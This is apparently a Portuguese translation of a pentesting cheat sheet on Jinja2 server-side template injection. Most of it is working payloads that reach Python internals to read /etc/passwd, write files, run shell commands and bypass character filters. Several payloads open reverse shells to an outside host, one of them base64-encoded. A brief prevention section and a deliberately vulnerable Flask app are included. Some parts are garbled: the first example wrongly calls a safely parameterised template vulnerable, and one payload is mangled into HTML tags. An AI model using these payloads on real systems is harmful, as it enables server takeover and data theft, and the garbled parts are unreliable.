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Jinja2 SSTI

Laboratório

Explicação

O SSTI (Server-Side Template Injection) é uma vulnerabilidade que ocorre quando um aplicativo da web permite que o usuário insira modelos de servidor que são executados sem validação adequada. Isso pode permitir que um invasor execute código arbitrário no servidor.

O Jinja2 é um mecanismo de modelo popular usado em muitos aplicativos da web Python. Ele é usado para renderizar modelos de servidor e pode ser vulnerável a SSTI se não for usado corretamente.

Exemplo

Para demonstrar como o SSTI pode ser explorado em um aplicativo da web que usa o Jinja2, vamos usar o seguinte exemplo:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'World')
    template = 'Hello {{name}}!'
    return render_template_string(template, name=name)

if __name__ == '__main__':
    app.run()

Este aplicativo da web usa o Flask e o Jinja2 para renderizar um modelo de servidor simples que exibe uma mensagem de saudação personalizada. O nome é passado como um parâmetro de consulta na URL.

No entanto, este aplicativo da web é vulnerável a SSTI porque não valida adequadamente o modelo de servidor fornecido pelo usuário. Isso significa que um invasor pode injetar código arbitrário no modelo de servidor e executá-lo no servidor.

Por exemplo, um invasor pode injetar o seguinte modelo de servidor:

{{config.items()}}

Isso exibirá todas as configurações do aplicativo da web, incluindo informações confidenciais, como chaves secretas e senhas.

Exploração

Para explorar essa vulnerabilidade, podemos usar o modelo de servidor injetado para exibir informações confidenciais ou executar código arbitrário no servidor.

Por exemplo, podemos injetar o seguinte modelo de servidor:

<div data-gb-custom-block data-tag="for">

<div data-gb-custom-block data-tag="if" data-0='catch_warnings'>

<div data-gb-custom-block data-tag="for">

<div data-gb-custom-block data-tag="if">

<div data-gb-custom-block data-tag="if" data-0='eval'>

{{ b['eval']('__import__("os").popen("id").read()') }}

</div>

</div>

</div>

</div>

</div>

Este modelo de servidor usa a classe catch_warnings para acessar o dicionário global do Python e executar o comando id do sistema operacional. Isso exibirá o ID do usuário atual no servidor.

Outro exemplo de exploração é injetar o seguinte modelo de servidor:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Este modelo de servidor usa a classe file para ler o arquivo /etc/passwd no servidor e exibi-lo na página da web.

Prevenção

Para evitar a vulnerabilidade SSTI, é importante validar adequadamente todos os modelos de servidor fornecidos pelo usuário. Isso pode ser feito usando uma biblioteca de modelo segura, como o MarkupSafe, que é usado pelo Jinja2.

Além disso, é importante limitar o acesso do usuário a informações confidenciais, como chaves secretas e senhas. Isso pode ser feito usando um modelo de servidor separado para exibir informações confidenciais e limitando o acesso a esse modelo de servidor apenas a usuários autorizados.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
    else:
        return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
    app.run()

Misc

Declaração de Depuração

Se a Extensão de Depuração estiver habilitada, uma tag debug estará disponível para despejar o contexto atual, bem como os filtros e testes disponíveis. Isso é útil para ver o que está disponível para uso no modelo sem configurar um depurador.

<pre>

{% raw %}
{% debug %}
{% endraw %}






</pre>

Despejar todas as variáveis de configuração

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Dump all config variables

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Injeção Jinja

Em primeiro lugar, em uma injeção Jinja, você precisa encontrar uma maneira de escapar do sandbox e recuperar o acesso ao fluxo de execução regular do Python. Para fazer isso, você precisa abusar de objetos que são do ambiente não-sandboxado, mas são acessíveis a partir do sandbox.

Acessando Objetos Globais

Por exemplo, no código render_template("hello.html", username=username, email=email) os objetos username e email vêm do ambiente Python não-sandboxado e serão acessíveis dentro do ambiente sandbox.
****Além disso, existem outros objetos que serão sempre acessíveis a partir do ambiente sandbox, estes são:

[]
''
()
dict
config
request

Recuperando <class 'object'>

Em seguida, a partir desses objetos, precisamos chegar à classe: <class 'object'> para tentar recuperar as classes definidas. Isso ocorre porque a partir desse objeto podemos chamar o método __subclasses__ e acessar todas as classes do ambiente python não isolado.

Para acessar essa classe de objeto, você precisa acessar um objeto de classe e, em seguida, acessar __base__, __mro__()[-1] ou .mro()[-1]. E então, depois de alcançar essa classe de objeto, chamamos __subclasses__().

Verifique esses exemplos:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object". 
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}







# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Escapando do RCE

Tendo recuperado <class 'object'> e chamado __subclasses__, agora podemos usar essas classes para ler e escrever arquivos e executar código.

A chamada para __subclasses__ nos deu a oportunidade de acessar centenas de novas funções, ficaremos felizes apenas acessando a classe de arquivo para ler/escrever arquivos ou qualquer classe com acesso a uma classe que permite executar comandos (como os).

Ler/Escrever arquivo remoto

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE (Execução Remota de Código)

A Execução Remota de Código é uma vulnerabilidade que permite que um invasor execute comandos arbitrários em um sistema remoto. Isso pode ser feito explorando vulnerabilidades em aplicativos da web, servidores de banco de dados, sistemas operacionais e outros softwares. Quando um invasor explora com sucesso uma vulnerabilidade de RCE, ele pode executar comandos no sistema remoto como se estivesse fisicamente presente no sistema. Isso pode levar a uma série de consequências graves, incluindo o roubo de dados, a instalação de malware e o controle total do sistema remoto.

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}

Para aprender sobre mais classes que você pode usar para escapar, você pode verificar:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Bypasses de filtro

Bypasses comuns

Esses bypasses nos permitirão acessar os atributos dos objetos sem usar alguns caracteres.
Já vimos alguns desses bypasses nos exemplos anteriores, mas vamos resumi-los aqui:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

• Volte aqui para mais opções de acesso a um objeto global
• Volte aqui para mais opções de acesso à classe de objeto
• Leia isso para obter RCE sem a classe de objeto

Evitando a codificação HTML

Por padrão, o Flask codifica em HTML tudo o que está dentro de um modelo por motivos de segurança:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

O filtro safe nos permite injetar JavaScript e HTML na página sem que ele seja codificado em HTML, como neste exemplo:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE escrevendo um arquivo de configuração malicioso.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sem vários caracteres

Sem {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Injeção Jinja sem <class 'object'>

Dos objetos globais, há outra maneira de obter RCE sem usar essa classe.
Se você conseguir chegar a qualquer função desses objetos globais, poderá acessar __globals__.__builtins__ e, a partir daí, o RCE é muito simples.

Você pode encontrar funções nos objetos request, config e em qualquer outro objeto global interessante ao qual você tenha acesso com:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Depois de encontrar algumas funções, você pode recuperar os builtins com:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Referências

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
• Verifique o truque de atributo para contornar caracteres na lista negra aqui.
• https://twitter.com/SecGus/status/1198976764351066113
• https://hackmd.io/@Chivato/HyWsJ31dI

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